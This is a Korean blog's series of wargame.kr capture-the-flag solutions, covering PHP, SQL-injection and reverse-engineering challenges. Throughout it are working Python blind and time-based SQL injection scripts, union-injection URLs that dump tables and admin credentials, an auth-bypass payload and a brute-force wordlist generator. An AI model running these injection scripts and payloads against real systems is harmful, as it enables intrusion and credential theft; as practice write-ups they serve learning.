반응형
반응형
반응형

login with crypto! but..

 

 

sucker_enc is sucks.

Can you login?

 

 

 

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
<?php
 
if (isset($_GET['view-source'])) {
    show_source(__FILE__);
    exit();
}
 
include("../lib.php"); // include for auth_code function.
/*******************************************************
- DB SCHEMA (initilizing)
 
create table accounts(
 idx int auto_increment primary key,
 user_id varchar(32) not null unique,
 user_ps varchar(64) not null,
 encrypt_ss text not null
);
 
********************************************************/
 
function db_conn(){
 mysql_connect("localhost","login_with_cryp","login_with_crypto_but_pz");
 mysql_select_db("login_with_crypto_but");
}
 
function init(){
 db_conn();
 $password = crypt(rand().sha1(file_get_contents("/var/lib/dummy_file").rand())).rand();
 mysql_query("insert into accounts values (null,'admin','{$password}','".sucker_enc('881114')."')"); // admin`s password is secret! xD
 mysql_query("insert into accounts values (null,'guest','guest','".sucker_enc('000000')."')");
}
//init(); // create user for initializing
 
function enc($str){
 $s_key = "L0V3LySH:butsheismyxgf..";
 $s_vector_iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_3DES, MCRYPT_MODE_ECB), MCRYPT_RAND);
 $en_str = mcrypt_encrypt(MCRYPT_3DES, $s_key$str, MCRYPT_MODE_ECB, $s_vector_iv);
 $en_base64 = base64_encode($en_str);
 $en_hex = bin2hex($en_str);
 return $en_hex;
}
 
function sucker_enc($str){
 for($i=0;$i<8;$i++$str = enc($str);
 return $str;
}
 
function get_password($user,$ssn){
 db_conn();
 $user = mysql_real_escape_string($user);
 $ssn  = mysql_real_escape_string($ssn);
 $result = mysql_query("select user_ps from accounts where user_id='{$user}' and encrypt_ss='".sucker_enc($ssn)."'");
 $row = mysql_fetch_array($result);
 if ($row === false) {
  die("there is not valid account!");
 }
 return $row[0]; 
}
 
ini_set("display_errors"true);
 
if( (isset($_POST['user']) && isset($_POST['ssn']) && isset($_POST['pass'])) ){
 
 sleep(2); // do not bruteforce !!!! this challenge is not for bruteforce!!
 
 if($_POST['pass'== get_password($_POST['user'],$_POST['ssn'])){
 
  if($_POST['user'== "admin"){
   echo "Login Success!!! PASSWORD IS : <b>".auth_code("login with crypto! but..")."</b>";
  }else{
   echo "Login Success. but you r not 'admin'..";
  }
 }else{
  echo "Login Failed";
 }
 
}
 
?>
<hr />
<form method="post" action="./index.php">
<table>
 <tr><td>Identify</td><td><input type='text' value='guest' maxlength='32' name='user' /></td>
 <tr><td>Social Security</td><td><input type='text' maxlength='6' value='000000' name='ssn' /></td>
 <tr><td>PASSWORD</td><td><input type='text' value='guest' name='pass' /></td>
 <tr><td colspan="2"><input type="submit" value="Login" /></td></tr>
</table>
</form>
<hr />
<a href='./?view-source'>GET SOURCE</a>
cs

 

 

php overflow를 이용하는 문제다.

 

 

 

 

 

 

52행 쿼리문에서 sucker_enc($ssn) 값이 매우 길어져서 쿼리문이 매우 길어지면 쿼리 실행에서 overflow가 나서

mysql_query함수가 false를 반환하게 된다.

 

그럼 mysql_fetch_array(Flase)는 null 값을 반환한다.

 

 

 

 

 

 

 

 

66행에서 get_password(...)의 값이 null이 되고, pass값에 아무입력을 하지 않으면

 

"" == null이 참이되어 admin으로 로그인이 가능하다.

 

 

 

 

 

 

 

 

ssn에 값을 너무 크게 주면 php가 터져버린다.

 

Fatal error:  Allowed memory size of 134217728 bytes exhausted (tried to allocate 56391681 bytes) in /var/www/html/login_with_crypto_but/index.php on line 39

 

이 오류메세지를 참고해서 ssn의 값의 크기를 조절하면 된다.

 

 

 

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import urllib
import urllib2
 
def chk(payload):
    url = "http://wargame.kr:8080/login_with_crypto_but/index.php"
 
    opener = urllib2.build_opener(urllib2.HTTPHandler)
    data = {"user""admin""pass""""ssn": payload}
    data = urllib.urlencode(data)
    request = urllib2.Request(url, data)
    request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
    data = opener.open(request)
    data = data.read()
 
    #print(payload)
    print data
    return data
 
payload = "A"*81114
chk(payload)
 
 
cs
반응형
반응형

DLL with notepad

 

DLL Reverse Engineering Challenge.

Can you reversing DLL File?

 

 

 

파일이 두개 들어있는 압축파일이 주어진다.

 

notepad.exe는 메모장과 별 다를게 없어보인다.

 

blueh4g13.dll 파일을 ida로 열어서 shift+f12로 문자열을 확인해 보았다.

 

 

oh!로 시작하는 문자열을 찾을 수 있다.

 

 

sub_100010C0에서 사용되었다.

 

 

 

ollydbg로 notepad.exe를 열어서 view> Executable modules로 들어간다. (Alt+E)

 

거기서 blueh4g13.dll 파일을 찾아서 더블클릭.

 

F9로 실행을 한 뒤, dll 파일에서 문자열을 확인해 주면 key값을 찾을 수 있다.

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [CustomOS]  (0) 2020.01.09
Wargame.kr [QnA] 풀이  (0) 2020.01.06
Wargame.kr [dmbs335] 풀이  (0) 2020.01.06
Wargame.kr [Crypto Crackme Basic] 풀이  (0) 2020.01.06
Wargame.kr [crack crack crack it] 풀이  (0) 2020.01.06
반응형

QnA

 

Time based SQLi challenge. (with Insert Query)

you can't see the result after insert query.
but you can SQLi Attack!

 

 

 

time based sqli를 사용해야하나 보다

 

 

 

 

to JSMater에서 type에서 sqli이 일어난다.

 

 

lonely guys에서 사용했던 스크립트 거의 그대로 사용하면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyz"
 
 
key = ""
 
 
def chk(payload):
    url = "http://wargame.kr:8080/qna/?page=to_jsmaster"
 
    opener = urllib2.build_opener(urllib2.HTTPHandler)
    data = {"cont""a""mail""guest""type": payload}
    data = urllib.urlencode(data)
    request = urllib2.Request(url, data)
    request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
    data = opener.open(request)
    data = data.read()
 
    print(payload)
    #print data
    return data
 
 
for i in range(40):
    for j in range(len(string)):
        payload = "if("+str(ord(string[j]))+"=ord((select substr(authkey,"+str(i+1)+",1) from authkey)),sleep(1),1)"
 
        start = time.time()
 
        chk(payload)
 
        end= time.time()-start
 
 
        if end > 1:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] "
            break
        else:
            print "[-] Fail!"
 
cs
반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [CustomOS]  (0) 2020.01.09
Wargame.kr [DLL with notepad] 풀이  (0) 2020.01.08
Wargame.kr [dmbs335] 풀이  (0) 2020.01.06
Wargame.kr [Crypto Crackme Basic] 풀이  (0) 2020.01.06
Wargame.kr [crack crack crack it] 풀이  (0) 2020.01.06
반응형

dmbs335

SQL injection Challenge!
(injection)

- thx to dmbs335

 

 

 

표가 하나 있고, 하단에 검색 도구가 존재한다.

 

Num subject content writer
3 welcome to wargame.kr =D guest
2 nice challenge! dummy data bughela
1 hello world! This is Content1 dmbs335
 

 

 

소스를 보자

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php 
function getOperator(&$operator) { 
    switch($operator) { 
        case 'and'
        case '&&'
            $operator = 'and'
            break
        case 'or'
        case '||'
            $operator = 'or'
            break
        default
            $operator = 'or'
            break
}} 
 
if(preg_match('/session/isUD',$_SERVER['QUERY_STRING'])) {
    exit('not allowed');
}
 
parse_str($_SERVER['QUERY_STRING']); 
getOperator($operator); 
$keyword = addslashes($keyword);
$where_clause = ''
 
if(!isset($search_cols)) { 
    $search_cols = 'subject|content'
 
$cols = explode('|',$search_cols); 
 
foreach($cols as $col) { 
    $col = preg_match('/^(subject|content|writer)$/isDU',$col) ? $col : ''
    if($col) { 
        $query_parts = $col . " like '%" . $keyword . "%'"
    } 
 
    if($query_parts) { 
        $where_clause .= $query_parts
        $where_clause .= ' '
        $where_clause .= $operator
        $where_clause .= ' '
        $query_parts = ''
    } 
 
if(!$where_clause) { 
    $where_clause = "content like '%{$keyword}%'"
if(preg_match('/\s'.$operator.'\s$/isDU',$where_clause)) { 
    $len = strlen($where_clause- (strlen($operator+ 2);
    $where_clause = substr($where_clause0$len); 
 
 
?>
 
  
        <?php
            $result = mysql_query("select * from board where {$where_clause} order by idx desc");
            while ($row = mysql_fetch_assoc($result)) {
                echo "<tr>";
                echo "<td>{$row['idx']}</td>";
                echo "<td>{$row['subject']}</td>";
                echo "<td>{$row['content']}</td>";
                echo "<td>{$row['writer']}</td>";
                echo "</tr>";
            }
        ?>
 
cs

 

핵심만 가져왔다.

 

 

검색을 하게 되면 ?search_cols=subject&keyword=1234&operator=or  이렇게 get 방식으로 값을 전달한다.

 

 

operator의 경우, 22행에 의해 and나 or로만 설정이 된다.

 

search_cols도 33행 필터링에 의해 subject|content|writer 밖에 못 들어간다.

 

 

 

인젝션을 할 만한 곳을 찾아야 한다.

초기화를 하지 않는 변수가 있다.

 

query_parts 인데, parse_str함수를 사용하였기 때문에 query_parts에 내가 원하는 값을 넣어버릴 수가 있다.

 

search_cols에 subject|content|writer 를 제외한 다른 값 (ex: a)를 넣고

operator에는 or 넣어주고

query_parts에 1 union select 1,2,3,4#을 넣는다고 하면,

 

34~36행을 실행되지 않게 되며, 최종 쿼리가 아래와 같이 된다.

 

select * from board where 1 union select 1,2,3,4# or   order by idx desc

 

인젝션 성공!

 

 

테이블명 쏙 가져오고

http://wargame.kr:8080/dmbs335/?search_cols=a&operator=or&query_parts=1%20union%20select%201,table_name,3,4%20from%20information_schema.tables%23

 

Th1s_1s_Flag_tbl

 

 

 

 

칼럼명 쏙 가져오고

http://wargame.kr:8080/dmbs335/?search_cols=a&operator=or&query_parts=1%20union%20select%201,column_name,3,4%20from%20information_schema.columns%23

 

f1ag

 

 

 

 

 

http://wargame.kr:8080/dmbs335/?search_cols=a&operator=or&query_parts=1%20union%20select%201,f1ag,3,4%20from%20Th1s_1s_Flag_tbl%23

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [DLL with notepad] 풀이  (0) 2020.01.08
Wargame.kr [QnA] 풀이  (0) 2020.01.06
Wargame.kr [Crypto Crackme Basic] 풀이  (0) 2020.01.06
Wargame.kr [crack crack crack it] 풀이  (0) 2020.01.06
Wargame.kr [lonely guys] 풀이  (0) 2020.01.06
반응형

Crypto Crackme Basic

 

Simple Reverse Engineering.

Can you Reversing for C# Application?

 

 

c#으로 된 프로그램은 jetbrains의 dotpeek을 사용하면 된다.

 

 

 

이름과 패스워드를 입력받는데

이름은 BluSH4G이어야 하고, 패스워드는 name과 함께 myEncrypt함수를 통과한 값과 getps(name)값과 같아야 한다.

 

 

 

 

 

getps(name)값은 아래 url로 받아올 수 있다.

 

http://wargame.kr:8080/prob/28/ps.php?n=BluSH4G

2P+SLRAhCTi7q0fVZR4VCnBNDzq9qemqIcZwUQ7PV5e03KyChSw6bEcJz0MBVYFo

 

 

 

 

 

이제 myEncrypt함수를 살펴보자

 

 

 

DES 암호화

ECB 모드

 

bytes1 값은 mPadding(name)

 

 

 

 

name은 BluSH4G로 7자리다.

따라서 s는 BluSH4G* 이 된다.

 

 

bytes1은 key값이 된다.

 

 

 

이걸로 복호화를 때려보자

 

https://encode-decode.com/des-ecb-encrypt-online/

 

des-ecb encrypt & decrypt online | encode-decode.com

supported encryptions: aes-128-cbc aes-128-cbc-hmac-sha1 aes-128-cfb aes-128-cfb1 aes-128-cfb8 aes-128-ctr aes-128-ecb aes-128-ofb aes-128-xts aes-192-cbc aes-192-cfb aes-192-cfb1 aes-192-cfb8 aes-192-ctr aes-192-ecb aes-192-ofb aes-256-cbc aes-256-cbc-hma

encode-decode.com

 

 

복호화를 하면 flag가 바로 나온다.

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [QnA] 풀이  (0) 2020.01.06
Wargame.kr [dmbs335] 풀이  (0) 2020.01.06
Wargame.kr [crack crack crack it] 풀이  (0) 2020.01.06
Wargame.kr [lonely guys] 풀이  (0) 2020.01.06
Wargame.kr [keypad CrackMe] 풀이  (0) 2020.01.06
반응형

crack crack crack it

 

.htaccess crack!

can you local bruteforce attack?

 

 

 

john the ripper 를 사용하면 될 것 같다.

 

단, jtr은 문자 포멧을 따로 받을 수 없다.

 

그래서 스크립트를 짜서 wordlist를 만들어서 넘겨주어야 한다.

 

1
2
3
4
5
6
7
8
from itertools import product
 
= '0123456789abcdefghijklmnopqrstuvwxyz'
 
for n in range(4,10):
    for cc in product(c,repeat=n):
        print 'G4HeulB'+"".join(cc)
 
cs

 

 

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [dmbs335] 풀이  (0) 2020.01.06
Wargame.kr [Crypto Crackme Basic] 풀이  (0) 2020.01.06
Wargame.kr [lonely guys] 풀이  (0) 2020.01.06
Wargame.kr [keypad CrackMe] 풀이  (0) 2020.01.06
Wargame.kr [ip log table] 풀이  (0) 2020.01.04
반응형

lonely guys

 

Blind SQLi challenge.

Can you SQLi with 'order by' in expression?

 

 

 

핵심 부분의 코드만 확인해보자

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if(isset($_POST['sort'])){
 $sort=$_POST['sort'];
}else{
 $sort="asc";
}
 
mysql_query("update authkey set authkey='".auth_code('lonely guys')."'");
$sort = mysql_real_escape_string($sort);
$result=mysql_query("select * from guys_tbl order by reg_date $sort");
while($row=mysql_fetch_array($result)){
 echo "<tr><td>$row[1]</td><td>$row[2]</td></tr>";
}
?>
 
cs

 

 

POST로 sort값을 받아서 

 

SELECT * FROM guys_tbl ORDER BY reg_date $sort

 

위 쿼리문을 실행한다.

 

 

 

 

 

 

order by 뒤 칼럼명에 서브 쿼리를 넣을 수 있다.

 

order by 칼럼명, 칼럼명, (서브쿼리), ....

 

 

if를 이용해서 time based sql injection을 시도했다.

 

 

flag는 authkey 테이블의 authkey 칼럼에 존재한다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import urllib
import urllib2
import sys
import time
 
key = ""
 
def chk(payload):
    url = "http://wargame.kr:8080/lonely_guys/index.php"
 
    opener = urllib2.build_opener(urllib2.HTTPHandler)
    data = {"sort": payload}
    data = urllib.urlencode(data)
    request = urllib2.Request(url, data)
    request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
    data = opener.open(request)
    data = data.read()
 
    print(payload)
    print data
    return data
 
payload = ",if(0<(select length(authkey) from authkey),sleep(1),1)"
chk(payload)
cs

 

참이면 sleep(1), 거짓이면 1을 리턴한다.

 

 

 

,if(40=(select length(authkey) from authkey),sleep(1),1)

authkey의 길이는 40임을 알 수 있다.

 

 

 

 

 

 

이제 한 글자씩 뽑아내면 된다.

 

,if(48=ord((select substr(authkey,1,1) from authkey)),sleep(1),1)

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyz"
 
 
key = ""
 
 
def chk(payload):
    url = "http://wargame.kr:8080/lonely_guys/index.php"
 
    opener = urllib2.build_opener(urllib2.HTTPHandler)
    data = {"sort": payload}
    data = urllib.urlencode(data)
    request = urllib2.Request(url, data)
    request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
    data = opener.open(request)
    data = data.read()
 
    print(payload)
    #print data
    return data
 
 
for i in range(40):
    for j in range(len(string)):
        payload = ",if("+str(ord(string[j]))+"=ord((select substr(authkey,"+str(i+1)+",1) from authkey)),sleep(1),1)"
 
        start = time.time()
 
        chk(payload)
 
        end= time.time()-start
 
 
        if end > 1:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] "
            break
        else:
            print "[-] Fail!"
 
cs

 

반응형
반응형

keypad CrackMe

 

Simple Reverse Engineering Challenge.

 

 

키 값을 찾아내야 하는 리버싱 문제다.

 

 

 

ollydbg로 열면, Wrong 문자열을 확인할 수 있다.

 

해당 문자열이 사용되는 부분의 주소는 0x6F17DF다.

 

 

IDA에서 0x4017DF 주소 영역이 포함될 것 같은 함수 sub_401740을 찾아서 코드를 확인 할 수 있다.

 

 

 

 

 

ida 코드상 46행에 해당하는 부분 0x4017CB  --> 올리디버거 부분 0x6F17CB, 0x6F1701, 0x6F1707에

breakpoint를 걸어서 변수 v6, v5에 어떠한 값이 들어가는지, 최종 값은 몇으로 나오는지를 확인을 했다.

 

입력은 1111로 했다.

 

 

v6에 해당하는 EAX에 1이 들어가 있다.

 

 

 

 

 

 

v5에 해당하는 EDI에 정수 10진수로 1111이 들어가 있으며, 바로 이전 코드에서 연산했던 -201527 * 1의 값이 eax에 들어가 있고, eax와 edi를 더한다.

 

 

 

 

더한 값을 195934910과 비교.

 

 

 

 

 

별 특별한 연산 없이 -201527*1 + 입력값 == 195934910 의 조건만 만족하면 된다는 것을 알 수 있다.

 

따라서 입력해야 할 값은 195934910 + 201527 = 196136437이 된다.

 

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [crack crack crack it] 풀이  (0) 2020.01.06
Wargame.kr [lonely guys] 풀이  (0) 2020.01.06
Wargame.kr [ip log table] 풀이  (0) 2020.01.04
Wargame.kr [SimpleBoard] 풀이  (0) 2020.01.04
Wargame.kr [pyc decompile] 풀이  (0) 2020.01.04
반응형

ip log table

 

Blind SQLi challenge.

You can use 'Ascii' to 'Date'

.
 
 

페이지 소스

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<style>
 #mv_admin {cursor:hand; font-family:verdana; padding:10px; font-weight:bold;}
 td{text-align:center; height:30px;}
 .menu {background-color:#163; color:#fab;}
 .menu td{font-weight:bold;}
 .list td{text-align:center; cursor:hand;}
</style>
<script src="./jquery.min.js"></script>
<script> var f;
 function ov(){ this.style.color="#11f"; this.style.background="#ff0"; this.style.fontWeight="bold";}
 function ou(){ this.style.color="#000"; this.style.background="#fff"; this.style.fontWeight="normal";}
 function mv(){ f.idx.value=this.id; f.submit(); }
 function init(){
  a=document.getElementById("mv_admin");
  a.onmouseover=ov; a.onmouseout=ou; a.onclick=function(){window.location='admin.php';}
  f=document.getElementById("f"); iplist=$(".list");
  for(i=0;i<iplist.length;i++){
   iplist[i].onmouseover=ov; iplist[i].onmouseout=ou; iplist[i].onclick=mv;
  }
 }
</script>
<body onload="init();">
<center>
<h1>ACCESS IP LOG TABLE</h1>
<hr /><div id="mv_admin">[+] admin login [+]</div><hr />
<table border=1 width=550 align=center>
<tr class='menu'><td>idx</td><td>IP address</td></tr>
.
.
.
.
</table>
</center>
<form id="f" method="post" action="chk.php">
<input type="hidden" name="idx" value="blueh4g">
</form>
</body>
cs

 

소스를 보면, 행을 클릭했을 때 chk.php에 해당 id값을 post로 보내서 값을 받는다.

 

 

 

 

 

 

스크립트를 짜서 확인해보자

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import urllib
import urllib2
import re
 
url = "http://wargame.kr:8080/ip_log_table/chk.php"
 
opener = urllib2.build_opener(urllib2.HTTPHandler)
data = {"idx":"39749 and 1=0#"}
data = urllib.urlencode(data)
request = urllib2.Request(url, data)
request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
request.add_header('Cookie''PHPSESSID=cookie')
 
data = opener.open(request)
data = data.read()
 
print data
 
cs

 

39748 and 1=1    => TRUE => IP log time : 2020-01-01 17:43:20

39748 and 1=0    => FLASE => IP log time : 1970-01-01 09:00:00

 

 

이 것을 이용해서 blind sqli를 하면 된다.

 

 

 

 

 

 

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
import urllib
import urllib2
import sys
import time
 
key = ""
 
def chk(payload):
    url = "http://wargame.kr:8080/ip_log_table/chk.php"
 
    opener = urllib2.build_opener(urllib2.HTTPHandler)
    data = {"idx": payload}
    data = urllib.urlencode(data)
    request = urllib2.Request(url, data)
    request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
    data = opener.open(request)
    data = data.read()
 
    print(payload)
    print data
    return data
 
 
'''
for i in range(70,100):
    payload = "39749 and (select count(*) from information_schema.tables)="+str(i)
    if not "1970-01-01 09:00:00" in chk(payload):
        key += str(i)
        print "[*] " +key
        break
    else:
        print "[-] Fail!"
    time.sleep(0.1)
'''
#result : 72
 
 
 
'''
for i in range(15):
    for j in range(33,127):
        payload = "39749 and ord(substring((select table_name from information_schema.tables limit 71,1),"+str(i+1)+",1))="+str(j)+"#"
        print chr(j)
        if not "1970-01-01 09:00:00" in chk(payload):
            key += chr(j)
            print "[*] " +key
            break
        else:
            print "[-] Fail!"
        time.sleep(0.1)
'''
#result : ip_table
 
 
 
 
'''
for i in range(15):
    for j in range(33,127):
        payload = "39749 and ord(substring((select table_name from information_schema.tables limit 70,1),"+str(i+1)+",1))="+str(j)+"#"
        print chr(j)
        if not "1970-01-01 09:00:00" in chk(payload):
            key += chr(j)
            print "[*] " +key
            break
        else:
            print "[-] Fail!"
        time.sleep(0.1)
'''
#result : admin_table
 
 
 
 
 
'''
for i in range(5):
    for j in range(33,127):
        payload = "39749 and ord(substring((select id from admin_table),"+str(i+1)+",1))="+str(j)+"#"
        print chr(j)
        if not "1970-01-01 09:00:00" in chk(payload):
            key += chr(j)
            print "[*] " +key
            break
        else:
            print "[-] Fail!"
        time.sleep(0.1)
'''
#result : blue_admin
 
 
 
 
'''
for i in range(5):
    for j in range(33,127):
        payload = "39749 and ord(substring((select ps from admin_table),"+str(i+1)+",1))="+str(j)+"#"
        print chr(j)
        if not "1970-01-01 09:00:00" in chk(payload):
            key += chr(j)
            print "[*] " +key
            break
        else:
            print "[-] Fail!"
        time.sleep(0.1)
'''
#result : 0h~myp4ss!
 
cs

 

칼럼개수가 너무 많아서 칼럼명을 찾기가 힘들다.

 

로그인 페이지에 있는 id와 ps를 그대로 칼럼명으로 썼더니 됐다.

 

 

 

 

얻은 id와 pw로 로그인을 하면 된다.

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [lonely guys] 풀이  (0) 2020.01.06
Wargame.kr [keypad CrackMe] 풀이  (0) 2020.01.06
Wargame.kr [SimpleBoard] 풀이  (0) 2020.01.04
Wargame.kr [pyc decompile] 풀이  (0) 2020.01.04
Wargame.kr [web chatting] 풀이  (0) 2020.01.01
반응형

SimpleBoard

 

Simple Union SQL injection Challenge.
(but you need script... maybe?)

 

 

첫 페이지에 글 리스트가 있고

 

글을 클릭해서 내용을 확인할 수 있다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php
    if (isset($_GET['view-source'])){
        if (array_pop(split("/",$_SERVER['SCRIPT_NAME'])) == "classes.php") {
            show_source(__FILE__);
            exit();
        }
    }
 
    Class DB {
        private $connector;
 
        function __construct(){
            $this->connector = mysql_connect("localhost""SimpleBoard""SimpleBoard_pz");
            mysql_select_db("SimpleBoard", $this->connector);
        }
 
        public function get_query($query){
            $result = $this->real_query($query);
            return mysql_fetch_assoc($result);
        }
 
        public function gets_query($query){
            $rows = [];
            $result = $this->real_query($query);
            while ($row = mysql_fetch_assoc($result)) {
                array_push($rows, $row);
            }
            return $rows;
        }
 
        public function just_query($query){
            return $this->real_query($query);
        }
 
        private function real_query($query){
            if (!$result = mysql_query($query, $this->connector)) {
                die("query error");
            }
            return $result;
        }
 
    }
 
    Class Board {
        private $db;
        private $table;
 
        function __construct($table){
            $this->db = new DB();
            $this->table = $table;
        }
 
        public function read($idx){
            $idx = mysql_real_escape_string($idx);
            if ($this->read_chk($idx) == false){
                $this->inc_hit($idx);
            }
            return $this->db->get_query("select * from {$this->table} where idx=$idx");
        }
 
        private function read_chk($idx){
            if(strpos($_COOKIE['view'], "/".$idx) !== false) {
                return true;
            } else {
                return false;
            }
        }
 
        private function inc_hit($idx){
            $this->db->just_query("update {$this->table} set hit = hit+1 where idx=$idx");
            $view = $_COOKIE['view'] . "/" . $idx;
            setcookie("view", $view, time()+3600"/SimpleBoard/");
        }
 
        public function get_list(){
            $sql = "select * from {$this->table} order by idx desc limit 0,10";
            $list = $this->db->gets_query($sql);
            return $list;
        }
 
    }
 
cs

 

 

read.php에서 sqli이 가능하다.

http://wargame.kr:8080/SimpleBoard/read.php?idx=1%20union%20select%201,2,3,4%23

 

 

 

http://wargame.kr:8080/SimpleBoard/read.php?idx=5%20union%20select%201,2,3,4%23

다만, idx=5와 같이 존재하지 않는 내용은 70행의 UPDATE 구문에서 오류가 발생한다.

 

inc_hit()함수가 실행되지 않도록, 쿠키['view']에 /5 union select 1,2,3,4# 를 추가해주면 된다.

 

 

 

 

 

NUM TITLE HIT
1 2 3
4
LIST

 

그럼 이렇게 1,2,3,4가 출력된다. 이를 이용해서 테이블명과 칼럼명을 뽑아내보자

 

 

 

 

 

http://wargame.kr:8080/SimpleBoard/read.php?idx=5%20union%20select%20table_name,2,3,4%20from%20information_schema.tables%23

idx=5 union select table_name,2,3,4 from information_schema.tables#

 

NUM TITLE HIT
README 2 3
4
LIST

 

README가 튀어나왔다.

 

 

 

 

 

 

http://wargame.kr:8080/SimpleBoard/read.php?idx=5%20union%20select%20column_name,2,3,4%20from%20information_schema.columns%23

idx=5 union select column_name,2,3,4 from information_schema.columns#

 

NUM TITLE HIT
flag 2 3
4
LIST

 

flag가 튀어나왔다.

 

 

 

 

 

 

 

 

 

http://wargame.kr:8080/SimpleBoard/read.php?idx=5%20union%20select%20flag,2,3,4%20from%20README%23

GET FLAG!

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [keypad CrackMe] 풀이  (0) 2020.01.06
Wargame.kr [ip log table] 풀이  (0) 2020.01.04
Wargame.kr [pyc decompile] 풀이  (0) 2020.01.04
Wargame.kr [web chatting] 풀이  (0) 2020.01.01
Wargame.kr [EASY_CrackMe] 풀이  (0) 2020.01.01

+ Recent posts